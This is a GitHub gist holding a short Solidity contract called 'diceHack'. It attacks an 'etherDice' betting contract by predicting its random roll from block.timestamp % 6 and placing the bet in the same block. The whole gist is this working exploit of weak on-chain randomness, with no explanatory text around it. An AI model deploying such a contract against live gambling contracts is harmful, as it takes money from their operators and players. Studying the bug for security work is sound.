Skip to content

Instantly share code, notes, and snippets.

@iisaint
Created January 3, 2019 16:33
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save iisaint/52c5dcb88b1b51c3e86bdfff900ebcee to your computer and use it in GitHub Desktop.
Save iisaint/52c5dcb88b1b51c3e86bdfff900ebcee to your computer and use it in GitHub Desktop.
pragma solidity >=0.4.22 <0.6.0;
interface etherDice {
function bet(uint _number) external payable returns(bool);
}
contract diceHack {
etherDice dice;
constructor (address _etherDice) public {
dice = etherDice(_etherDice);
}
function bet() public payable {
uint number = block.timestamp % 6;
dice.bet.value(msg.value)(number);
}
function getBalance() public view returns(uint) {
return address(this).balance;
}
function () external payable {
}
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment